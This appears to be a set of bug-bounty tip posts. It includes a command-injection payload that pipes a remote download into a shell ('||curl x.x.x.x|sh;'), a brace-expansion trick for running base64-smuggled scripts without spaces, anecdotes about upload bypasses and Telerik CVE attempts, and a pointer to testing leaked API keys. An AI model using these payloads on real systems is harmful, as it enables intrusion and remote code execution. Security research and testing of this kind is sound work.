mutatators ftw
https://t.co/MEb7aexQFy
https://t.co/SzRTMPxXtq
https://t.co/OCuLiwJOa4
https://t.co/mlX0WLzy4C
not specifically for dns, but extremely useful:
https://t.co/gNZuxysRcs
#bugbountytip
man.. year ago discovered arb upload in a vendor app, reported it, tested the fix and marked it resolved. bumped into it again about a month ago, found a bypass, got a shell. went back to the first one tonight, bypass works there too.
Not a bad day
got lucky today:
Found /someendpoint.cgi that takes user input
Manipulation of input results in a promising, potential RCE
But useful chars are cleaned :(
Fuzz /someendpoint_FUZZ.cgi and find backup file
Backup file doesn't clean input as well!
||curl x.x.x.x|sh;
🐚😁
command injection with no spaces and no outbound?
1. base64 a complex command locally
2. {shuf,-e,"$b64",-o,$file}
3. {openssl,base64,-d,-in,$file,-out,$script}
4. {bash,$script}
https://t.co/e8tY5p3LAo
#BugBounty
3 telerik apps in a row that I can't exploit CVE-2019-18935. 2 I get 0 indication its working and 1 I can throw the smb flag and get my domain looked up but no code exec.
'KeyHacks shows ways in which particular API keys found on a Bug Bounty Program can be used, to check if they are valid.'
https://t.co/a25A5FwBbu
#bugbountytips#BugBounty